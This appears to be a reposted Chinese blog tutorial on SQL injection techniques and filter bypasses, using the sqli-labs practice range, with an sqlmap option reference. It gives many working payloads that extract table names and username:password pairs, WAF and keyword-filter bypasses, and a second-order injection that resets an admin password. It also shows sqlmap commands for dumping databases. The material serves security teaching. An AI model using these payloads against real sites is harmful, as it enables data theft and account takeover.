【Web安全】SQL各类注入与绕过

【Web安全】SQL各类注入与绕过

【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection

【Web安全靶场】sqli-labs-master 21-37 Advanced-Injection

【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections

【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索

这一篇博客我会对待我的笔记和教程一样写,也就是会细也会不细。

文章目录

  • 【Web安全】SQL各类注入与绕过
    • 1. 什么是SQL?
    • 2. SQL注入简介
    • 3. 判断闭合
    • 4. 判断数字型还是字符型
    • 4. 联合查询注入
    • 5. 报错注入
    • 6. 堆叠注入
    • 7. 布尔盲注与时间盲注
    • 8. 以上内容常用函数
    • 9. HTTP头部注入
    • 10. 二次注入
    • 11. 宽字节注入
    • 12. 双查询注入(报错注入一种)
    • 13. SQL注入过滤与绕过
      • 13.1. 双写绕过、大小写绕过
      • 13.2. 内联注释绕过
      • 13.3. 逻辑符号绕过
      • 13.4. 绕过空格过滤
      • 13.5. 引号添加反斜杠过滤绕过
      • 13.6. 大于小于号过滤绕过
      • 13.7. 等号过滤绕过
      • 13.8. 逗号过滤绕过
      • 13.9. 关键函数
    • 14. SQLmap
      • 1. 目标
      • 2. 脱库
        • 2.1. 脱库(补充)
      • 3. 其他
        • 3.1. 其他(补充)
      • 4. 绕过脚本tamper

1. 什么是SQL?

SQL结构化查询语言用于管理关系型数据库管理系统,SQL的范围包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。所谓关系型数据库,就像一张表,一个数据库中有很多的表,每一张表可以存储不同的内容。在一张表中,有列名也就是每一列的属性名称,如姓名、地址等,我们选取数据时,只需要知道数据库名、表名、列名以及条件,即可选取想要的数据。在开始SQL注入之前,需要简单了解一下SQL的基本语法,可见菜鸟教程及其他博客,这里就不占用篇幅了。

菜鸟教程-SQL,怎么学习呢?其实只要理解如何简单地选择,插入,修改和删除等以及常用的关键字,ORDER BY、AND、OR、UNION、WHERE等、注释方式,limit,substr函数。

2. SQL注入简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有恰当的过滤,则可能使得恶意的输入导致服务器代码查询语句被恶意拼接,进一步使得数据库信息泄露。

先来举出SQL注入类型吧,常见的SQL注入类型有:联合注入、报错注入、堆叠注入、时间盲注、布尔盲注、二次注入、宽字节注入、XFF注入等。

3. 判断闭合

例如有下面几段SQL语句:

select * from security where x=$id;
select * from security where x=($id);
select * from security where x='$id';
select * from security where x=('$id');
select * from security where x=(('$id'));
select * from security where x="$id";
select * from security where x=("$id");
select * from security where x=(("$id"));

这几条是不同闭合方式的SQL语句,第一条是数字型注入,剩下的是字符型注入,它们都有不同的闭合方式——单引号闭合、单引号括号闭合等。$id是我们输入的值,我们输入id=1的话,第一条语句就为select * from security where x=1;,假如输入id=1“多了个单引号(以第一条和第六条为例),那么第一条语句就会报错,第六条也会报错因为多了个双引号;如果我们输入id=1" – #呢?第一条还是会报错,但是第六条不会报错,因为我们最后的SQL语句是select * from security where x=“1” – #";后面的一个双引号被注释掉了,这就是构造闭合。

4. 判断数字型还是字符型

?id=2-1 --+ 确定2和1的内容如果通过减号显示1的内容,那就是数字型输入。有时候这一杠会被过滤就换一种方法
?id=1' --+出现报错信息,根据报错信息可以判断原来有没有引号

?id=1' and '1'='1
?id=2' and '1'='1  判断有没有括号,因为有括号的话整体是1
剩下就是一些加单引号、双引号、括号、大括号,百分号的过程了,大括号和百分号比较少见。

刷sql-labs-master靶场习惯了就容易判断了。

闭合完成之后可以干嘛?当然是构造payload,例如(先不管它是做什么的):

select * from database where id=‘1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+’

其中我们输入的内容是:1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

总之,url后面是字符,那么可能就是字符型注入,url后面是数字,可能是字符型也可能是数字型,这需要测试。

4. 联合查询注入

联合查询的原理是利用了数据库的联合操作,将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。

判断完闭合之后就是构造payload了,具体步骤就是获取表名、列名和数据,而这一节讲的联合查询的具体步骤就是:

  • 判断有多少列,使用order by,这个关键字的作用是根据某一列进行排序,假设只有三列,你想要根据第四列排序,但是没有第四列呀!这就会报错或者说是不显示数据。
?id=1' order by 3 -- #

在这里插入图片描述

  • 判断回显位union select,回显位是啥?查询操作将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。当然要是的前者返回为空才会显示第二个查询的数据。之后页面会显示会显示是哪一个,进而在那一个数进行操作即可。
?id=-1' union select 1,2,3 -- #

在这里插入图片描述

  • 获取表名,为什么不先获取数据名呢?因为可以使用database()函数代替:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- #

group_concat()函数是将里面的多个行整合为一行即一个字符串,information_schema见这里,简单看一下column_name、table_name、table_schema对选取条件有帮助的就行。

  • 获取列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'-- #
  • 获取数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- #

在这里插入图片描述

5. 报错注入

报错注入的定义就是利用了数据库的某一些机制,人为制造错误的条件,并且将查询结果附在报错信息之中,前提是有报错信息,查询php代码可知通常是print_r(mysql_error())。常见的报错函数有:floor、updatexml、extractvalue等。

  • updatexml语法:三个参数,第一个string格式为XML对象的名称内容,第二个是Xpath格式,xpath差不多就是一个位置,第三个参数为更新的内容,如果第二个参数不是xpath格式则会报错。

  • extractvalue语法:两个参数,第一个是string格式为xml文档对象的名称,第二个是xpath格式,报错原理也一样。

来看sqli-labs-master第一关,确定好闭合方式之后:

  • 获取表名:
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
  • 获取列名:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+
  • 获取数据
?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

其中concat()函数为连接函数,连接波浪号和查询信息,波浪号常常使用0x7e代替,substr为截取函数,因为报错信息最多32位,或者使用limit分页函数。

6. 堆叠注入

堆叠注入的原理是利用了SQL查询语句中分号(;)的特性以及数据库执行多条SQL语句的能力。攻击者可以在注入点插入一个分号,然后在分号后面添加额外的SQL语句,使得数据库在执行查询时,会依次执行多条SQL语句。

以下是一个堆叠注入的简单例子,假设有一个登录页面,用户可以输入用户名和密码登录:

SELECT * FROM users WHERE username='$username' AND password='$password'

攻击者可以尝试在用户名和密码字段中进行注入,假设用户名字段存在注入漏洞。攻击者可以输入以下内容作为用户名:

' OR 1=1; INSERT INTO log (event) VALUES ('Successful login');

这个输入将会导致以下SQL语句被执行:

SELECT * FROM users WHERE username='' OR 1=1; INSERT INTO log (event) VALUES ('Successful login') AND password='$password'

这里的分号后面的部分是一个额外的SQL语句,它会被数据库执行,插入一条日志记录,表示成功登录,同时也可以修改别人的密码等操作,反正啥都行。

7. 布尔盲注与时间盲注

布尔盲注是一种利用布尔逻辑(即真和假)来推断数据库中数据的SQL注入技术。它通常用于无法直接获取数据的情况下,但可以通过不同的查询结果来推断出数据的存在与否,以及数据的属性。布尔盲注通过在SQL查询中插入条件语句来测试特定条件的真假,从而逐步推断出数据库中的信息。在进行练习时候,如果一个界面只有成功显示不成功显示、登录成功失败,没有报错没有回显时考虑,并且使用时候搭配burpsuite的intruder模块根据返回内容长度判断。

  • 攻击者通过注入点插入条件语句,例如:?id=1’) and if(substr(database(),1,1)=‘c’,1,0) – #

  • 根据返回结果(真或假),攻击者可以推断出密码的第一个字符是否为 ‘c’。如果返回真,表示密码的第一个字符是 ‘c’;如果返回假,表示密码的第一个字符不是 ‘c’。

  • 通过不断更改条件语句中的参数,并观察返回结果,攻击者可以逐个字符地推断出密码的值。

爆表名:

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+

时间盲注是一种根据访问时间来推断数据库中数据的注入技术,它通常用于无法直接获取数据的情况下,并且无论参数对还是错界面都是一样的页面。比如说sqli-labs-master第九关:无论参数是否正确都显示You are in…,所以使用时间盲注。

常用的函数就是if(),第一个参数就是表达式,第二个第三个参数就是要执行的语句,如果表达式正确如下就会执行sleep(2),而sleep()是延时函数,单位是秒。

?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),1) --+

8. 以上内容常用函数

substr(str,start,length)截取函数
第一个参数str为被截取的字符串,第二个参数start为开始截取的位置,第三个参数length为截取的长度。
left(str,length)截取函数,从左到右
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
right(str,legnth)截取函数,从右到左
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
ascii(char)转化为十进制的ascii码
length(str)返回长度
ord(char)ascii转换函数
if(cond,ture_result,False_result)比较函数
第一个表达式正确返回第二个,错误则返回第三个

9. HTTP头部注入

请求头含义和作用示例
Accept告知服务器客户端能够接受的响应内容类型。Accept: text/html, application/json
Accept-Language告知服务器客户端可接受的语言类型。Accept-Language: en-US, zh-CN;q=0.9
Accept-Encoding告知服务器客户端可接受的内容编码方式,用于数据压缩传输。Accept-Encoding: gzip, deflate
Host指定请求的目标服务器的域名或IP地址和端口号。Host: www.example.com:8080
Cookie在HTTP请求中携带存储在客户端的Cookie信息,用于会话状态保持。例如,输入用户名和密码登录一个网站后,每次刷新和请求该站点其他页面,都会保持登录状态,这就是Cookie的功劳。Cookie: session_id=123456; user_id=987654
Referer表示当前请求的来源页面的URL,用于跟踪和统计。Referer: https://www.example.com/page1
User-Agent标识客户端应用程序或浏览器的信息,帮助服务器优化响应。User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type指定请求体中的数据类型,用于POST请求等需要传递数据的请求。Content-Type的设置对于数据的正确解析和处理非常重要。例如,如果服务器期望接收JSON数据,而客户端却发送了普通文本数据,服务器可能无法正确解析数据。Content-Type: application/json; charset=utf-8

大部分请求头都有可能存在注入,因为后端代码也会根据请求头查询数据。样例见,sqli-labs-master第18、19、20、21、22。

10. 二次注入

二次注入也称为存储型注入,就是将可能触发sql注入的字符存在数据库中,当再次调用这个恶意构造的字符就可以触发二次注入。

这里以sqli-labs-master第24关为例子。

  • 代码一:实现了简单的用户注册功能,程序获取到GET参数username和参数password,然后将username和password拼接到SQL语句,使用insert语句插入数据库中。由于参数username使用addslashes进行转义(转义了单引号,导致单引号无法闭合),参数password进行了MD5哈希,所以此处不存在SQL注入漏洞。正常插入test’之后,数据库就有了test’这个用户。

  • 当访问username=test’&password=123456时,执行的SQL语句为:

insert into users(\`username\`,\`password\`)values ('test\'','e10adc3949ba59abbe56e057f20f883e')。
<?php
$con=mysqli_connect("localhost", "root", "root", "sql");

if (mysqli_connect_errno()) {
   echo "数据库连接错误: " . mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con, "insert into users(`username`, `password`) values ('".addslashes($username)."','".md5($password)."')");
echo "新 id 为: " . mysqli_insert_id($con);
?>
  • 代码二:在二次注入中,第二段中的代码如下所示,首先将GET参数ID转成int类型(防止拼接到SQL语句时,存在SQL注入漏洞),然后到users表中获取ID对应的username,接着到person表中查询username对应的数据。但是此处没有对$username进行转义,在第一步中我们注册的用户名是test’,此时执行的SQL语句为:
select * from person where `username`='test''

单引号被带入SQL语句中,由于多了一个单引号,所以页面会报错。

回到24题发现有很多代码。

  • 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数,这个函数会对单引号(')、双引号(")、反斜杠(\)、NULL 字符等加添反斜杠来进行转义,所以在登录界面框无法直接下手。
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
  • 接着分析创建新用户的代码,在new_user.php中有form表单提交到login_create.php中,所以重点还是login_create.php,发现还是存在转义:
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
  • 那就登录进去看一下,登录进去是一个修改密码的框,其中不需要填写账号密码,看一下代码:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以发现漏洞存在于此处,这一道题不是获取数据库而是获取admin的密码,所以我们可以构造一个admin’#的账号,虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠,注册账号admin’#密码随便,于是就可以登录进去,然后再修改密码,其中的sql语句为:

$sql = "UPDATE users SET PASSWORD='你想要的密码' where username='admin'#' and password='$curr_pass' ";

于是修改admin账号不需要原始密码。

11. 宽字节注入

宽字节注入指的是mysql数据库在使用GBK编码时(一般账号啥的能输入或显示中文的就是了),会认为两个字符是一个汉字,而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是"運’,从而使单引号闭合(逃逸),进行注入攻击

这里以sqli-labs-master第三十二关为例:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

对于第一段代码,单引号、双引号和反斜杠都加上了一个反斜杠,我们试一下输入中文:

在这里插入图片描述
输入中文发现回显的是中文为gbk编码,所以我们可以使用宽字节注入,原理就是%df和反斜杠可以组成一个中文字符

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

12. 双查询注入(报错注入一种)

首先这适合其他报错函数都过滤了但有报错信息,而且没有回显位的,比较少见所以这里给出链接。

[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。

这里以sqli-labs-master第五关为例子。

首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:

?id=1' and '1'='1
?id=1' and '1'='2

通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:

?id=1' order by 3 --+
?id=1' order by 4 --+

通过上述语句可以得到字段数为3,接下来判断回显位:

?id=1' and '1'='2' union select 1,2,3--+

通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。

?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名

?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:

?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+

13. SQL注入过滤与绕过

13.1. 双写绕过、大小写绕过

对于sqli-Less25关有对于and和or大小写不敏感的过滤,这里的i表示大小写不敏感:

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)

我们可以使用双写绕过,对于其他select过滤等也可试一试:

oorr
anandd
selSElectect

SElect

13.2. 内联注释绕过

SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查

注意是可能!像sqli 26关就有对内联注释的过滤

13.3. 逻辑符号绕过

对于and、or、xor、not的黑名单绕过,可以使用逻辑符号,最好使用||

or = ||
and = &&
xor = | 或者 ^
not = !

注:有些题使用&&不行,使用||却可以,不知道为啥。

13.4. 绕过空格过滤

/**/

() 例如:?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1

//下面编码貌似在windows phpstudy环境下无效
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空

`(tap键上面的按钮)

+ 加号

两个空格

注:1’%0aanandd%0a’1’=2 不可以验证%0a有用,这里有没有都可以。

13.5. 引号添加反斜杠过滤绕过

%df宽字节注入

CHAR()函数,例如:table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121)  最常用

转化成Hex编码:table_schema=0x7365637572697479  (security)注意不用转引号

常见的php过滤函数mysql_real_escape_string、addslashes()

13.6. 大于小于号过滤绕过

大于小于号常见在盲注,可以使用between左闭右开,in关键字,greatest函数和least函数返回最值

where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
where id=1 and substr(database(),1,1) in ('c');
where id=1 and substr(database(),1,1) between 'a' and 'd';

13.7. 等号过滤绕过

如果等号被过滤,可以使用:

>0 and <2 等价于 =1
<>等价于!
like
正则匹配

13.8. 逗号过滤绕过

我们可能会使用substr(),substring(),mid()等函数,里面会有逗号

  • 对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
  • join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

13.9. 关键函数

sleep() -->benchmark() 指定次数表达式,造成延迟
使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
使用SELECT @@user; 替代SELECT user();
ord()->ascii()
SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;

14. SQLmap

1. 目标

操作作用必要示例
-u指定URL,检测注入点sqlmap -u 'http://example.com/?id=1'
-m指定txt,里面有很多个URLsqlmap -m urls.txt
-r检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中,接着-p指定参数sqlmap -r request.txt
–cookie指定cookie的值,单/双引号包裹sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234'
-D指定数据库sqlmap -u 'http://example.com/?id=1' -D mydatabase
-T指定表sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable
-C指定字段sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn

2. 脱库

操作作用必要示例
-b获取数据库版本sqlmap -u <url> -b
–current-db当前数据库sqlmap -u <url> --current-db
–dbs获取数据库sqlmap -u <url> --dbs
–tables获取表sqlmap -u <url> --tables -D <database>
–columns获取字段sqlmap -u <url> --columns -D <database> -T <table>
–schema字段类型sqlmap -u <url> --schema -D <database>
–dump获取数据sqlmap -u <url> --dump -D <database> -T <table>
–start开始的行sqlmap -u <url> --start=1 -D <database> -T <table>
–stop结束的行sqlmap -u <url> --stop=10 -D <database> -T <table>
–search搜索库表字段sqlmap -u <url> --search -C <column>
–tamperWAF绕过sqlmap -u <url> --tamper=<tamper_script>
2.1. 脱库(补充)
  • –current-db获取的是当前的数据库名称,而–dbs获取的是所有的数据库名称
  • WAF 指的是“Web Application Firewall”,即网络应用防火墙,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多内置的绕过脚本(脚本按照用途命名),在/usr/share/sqlmap/tamper/目录下
  • –search:如果你正在寻找包含特定关键字的列,这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。

3. 其他

操作作用必要示例
–batch不再询问确认sqlmap -u 'http://example.com/?id=1' --batch
–method=GET指定请求方式sqlmap -u 'http://example.com/?id=1' --method=GET
–random-agent随机UAsqlmap -u 'http://example.com/?id=1' --random-agent
–user-agent自定义UAsqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent'
–referer自定义referersqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com'
–proxy=“123”代理sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080'
–threads 10线程数1~10sqlmap -u 'http://example.com/?id=1' --threads 10
–level=1测试等级1~5sqlmap -u 'http://example.com/?id=1' --level=1
–risk=1风险等级0~3sqlmap -u 'http://example.com/?id=1' --risk=1
3.1. 其他(补充)
  • 测试等级:这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试,这些测试可能更复杂,有时也更具侵入性。例如,在较低的等级上,SQLMap 可能只测试最常见的注入类型,而在较高等级上,它会尝试更多不常见的或复杂的注入技术。
  • 风险等级:风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试,这些测试可能会对数据库造成更大的负担或风险。例如,一些高风险测试可能包括执行实际的数据库操作(如更新或删除数据),而低风险测试则尽量避免这种潜在的破坏性操作。
操作作用必要示例
-a自动识别和测试所有参数sqlmap -u 'http://example.com/?id=1' -a
–current-user获取当前数据库用户sqlmap -u 'http://example.com/?id=1' --current-user
–is-dbs是不是数据库管理员sqlmap -u 'http://example.com/?id=1' --is-dbs
–users枚举数据库服务器上的用户sqlmap -u 'http://example.com/?id=1' --users
–privileges枚举数据库用户的权限sqlmap -u 'http://example.com/?id=1' --privileges
–passwords尝试获取数据库用户的密码sqlmap -u 'http://example.com/?id=1' --passwords
–hostname获取数据库服务器的主机名sqlmap -u 'http://example.com/?id=1' --hostname
–statements捕获并显示SQL语句sqlmap -u 'http://example.com/?id=1' --statements

4. 绕过脚本tamper

sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,我们还可以使用–tamper参数对数据进行修改来绕过WAF等设备,这里就不放置脚本名字了直接上网搜就行了,sqlmap内置53个脚本。

sqlmap XXXXX --tamper "模块名"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/434615.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode——二叉树(Java)

二叉树 简介[简单] 144. 二叉树的前序遍历、94. 二叉树的中序遍历、145. 二叉树的后序遍历二叉树层序遍历[中等] 102. 二叉树的层序遍历[中等] 107. 二叉树的层序遍历 II[中等] 199. 二叉树的右视图[简单] 637. 二叉树的层平均值[中等] 429. N 叉树的层序遍历[中等] 515. 在每个…

异地组网搭建方案

在这个信息爆炸的时代&#xff0c;人与人之间的联系变得越来越密切&#xff0c;而异地组网搭建方案也因此变得越 来越重要。无论是跨国企业、远程学习还是国际合作&#xff0c;构建一个快捷稳定的异地组网系统&#xff0c;已经 成为许多组织和个人不可或缺的需求。接下来&#…

强大的ps 命令 -o 自定义输出内容选项

强大的ps 命令 -o 自定义输出内容选项 1、ps命令介绍和作用2、问题描述 1、ps命令介绍和作用 ps 是一个 Unix 和类 Unix 操作系统中常用的命令&#xff0c;用于显示当前运行的进程信息。ps 命令的作用包括&#xff1a; 查看进程信息&#xff1a; ps 命令可以列出当前系统中正…

Matlab代码批处理全国地面气象站点日值数据集(2400站点数据集)

气象数据一直是一个价值较高的数据&#xff0c;它被广泛用于各个领域的研究当中。气象数据包括有气温、气压、相对湿度、降水、蒸发、风向风速、日照等多种指标&#xff0c;但是包含了这些全部指标的气象数据却较难获取&#xff0c;即使获取到了也不能随意分享。 1级目录 文件…

建站人的心酸:发了个官网加固通知,有公司关门的,还有吐槽的。

最近客户网站不是老被攻击么&#xff0c;所有节前发了个网站加固的通知&#xff0c;大部分客户都能理解和支持&#xff0c;也有客户倒闭的&#xff0c;也有想省钱结果费钱的&#xff0c;还有吐槽的。 尊敬的客户&#xff1a; 鉴于近期网络攻击频发&#xff0c;导致少部分客户…

可配置输入参数的接口如何设计

个人博客&#xff1a;无奈何杨&#xff08;wnhyang&#xff09; 个人语雀&#xff1a;wnhyang 共享语雀&#xff1a;在线知识共享 Github&#xff1a;wnhyang - Overview 作为程序员&#xff0c;我们绝大多数场景需要根据业务需求来设计系统&#xff0c;开发后端接口&#x…

java微服务技术选型,Java学习的三个终极问题及学习路线规划

前言 在网络技术中基于浏览器的B/S结构无论在PC端还是手机端都充当着至关重要的角色。 PC端自不必说&#xff0c;手机中很多应用虽然是以APP的形式存在&#xff0c;但它采用的还是B/S结构。如今日头条、微信的朋友圈等&#xff0c;这些应用在内部封装了浏览器&#xff0c;后端…

mysql 时间精度问题

timestamp到2038年&#xff0c;还有14年时间&#xff0c;一个系统如果能活到那一刻也是相当不错了。 这里先看一下个datetime的问题,下面的插入数据的时间戳是2024-03-06 21:20:50.839 INSERT INTO psi_io_balance ( id, as_id, bill_date, order_id, busi_type, direction, c…

二分查找算法:高效搜索有序数据的利器

二分查找算法&#xff1a;高效搜索有序数据的利器 在计算机科学中&#xff0c;搜索是一项基本而重要的操作。对于有序数据&#xff0c;二分查找算法是一种高效的搜索方法。本文将介绍二分查找算法的原理、实现以及其在实际应用中的优势&#xff0c;帮助读者理解和应用这一常用的…

最强AI Claude 3有意识了?四个问题看出和ChatGPT差距

原文&#xff1a;赵侠客 前言 sora的热点还没有褪去&#xff0c;这两天又大火了Clude3&#xff0c;有的说超越GPT-4&#xff0c;还有的说有意识了&#xff0c;连马斯克都说人类也是文件也。我们这些吃瓜群众看着AI每隔几天一个热点&#xff0c;心理素质差的人有可能越来越焦虑…

飞塔防火墙开局百篇——002.FortiGate上网配置——WAN口配置PPPoE上网/拨号宽带上网

WAN口配置IP上网 修改wan口配置 修改wan口配置 登陆FortiGate防火墙界面&#xff0c;配置中文界面。 点击网络点击接口点击接口模式&#xff0c;选择PPPoE配置用户名&#xff08;eq.123456163.gd&#xff09;和密码(运营商提供)单击确认 欢迎关注个人公众号&#xff0c;采购设…

自动化测试的定位及一些思考

大家对自动化的理解&#xff0c;首先是想到Web UI自动化&#xff0c;这就为什么我一说自动化&#xff0c;公司一般就会有很多人反对&#xff0c;因为自动化的成本实在太高了&#xff0c;其实自动化是分为三个层面的&#xff08;UI层自动化、接口自动化、单元测试&#xff09;&a…

FC-AE-1553 协议

FC-AE-1553 协议 MIL-STD-1553B总线协议总线结构字格式消息传输方式 FC协议FC协议栈拓扑结构服务类型帧/序列/交换FC帧格式 FC-AE-1553网络构成帧类型命令帧状态帧数据帧 Information UnitsNC1NC2NC3-4NC5-7NT1-7 传输模式1. NC-NT2. NT-NC3. NT-NT4. 无数据字的模式命令5. 带数…

Android开发必须要会,android性能优化面试

前言 前一段时间和一些大牛们交流了一下&#xff0c;据反馈现在Android岗位也没有以前那么多了&#xff0c;没这么好找了&#xff0c;寒冬季节&#xff0c;大量公司模仿O2O模式导致死掉企业的很多&#xff0c;导致供大于求&#xff0c;当然这不意味着饱和&#xff0c;只是市场…

中文版国产Figma简单好上手

在过去的两年里&#xff0c;国内外协同办公室发展迅速。一方面&#xff0c;它是由突如其来的疫情推动的&#xff0c;另一方面&#xff0c;它是科学技术不断进步的必然结果。在市场的推动下&#xff0c;市场上出现了越来越多的协同办公软件&#xff0c;使工作场所的工作更加高效…

门电路加法器乘法器

前言 大家好我是jiantaoyab&#xff0c;这是我所总结作为学习的笔记第六篇,在这里分享给大家,还有一些书籍《深入理解计算机系统》《计算机组成&#xff1a;结构化方法》《计算机体系结构&#xff1a;量化研究方法》《程序员的自我修养》&#xff0c;今天我们来了解门电路,加法…

保留数据的重装系统教程!(win10系统)

上车警告&#xff01;&#xff01;&#xff01; 本教程无需思考&#xff0c;跟着操作一步一步来就能完成系统的重装。原理是将C盘系统重装&#xff0c;其他盘符数据保存。适用于系统盘重装数据或更改系统版本。 重要提示&#xff01;&#xff01;&#xff01; C盘有重要学习资…

【OpenAI Triton】理解矩阵乘法中的super-grouping 21a649eddf854db5ad4c7753afb7cb72

【OpenAI Triton】理解矩阵乘法中的super-grouping 前言 最近做推理加速&#xff0c;会涉及一些底层算子的工作&#xff0c;老早就听说triton写算子比较方便&#xff0c;最近正好有一些应用场景&#xff0c;就根据官方文档和大佬们的见解记录一下自己的所学所得&#xff1b; …

CMake-深入理解find_package()的用法

前言&#xff1a; CMake给我们提供了find_package()命令用来查找依赖包&#xff0c;理想情况下&#xff0c;一句find_package()命令就能把一整个依赖包的头文件包含路径、库路径、库名字、版本号等情况都获取到&#xff0c;后续只管用就好了。但实际使用过程可能会出现这样那样…

#微信小程序创建(获取onenet平台数据)

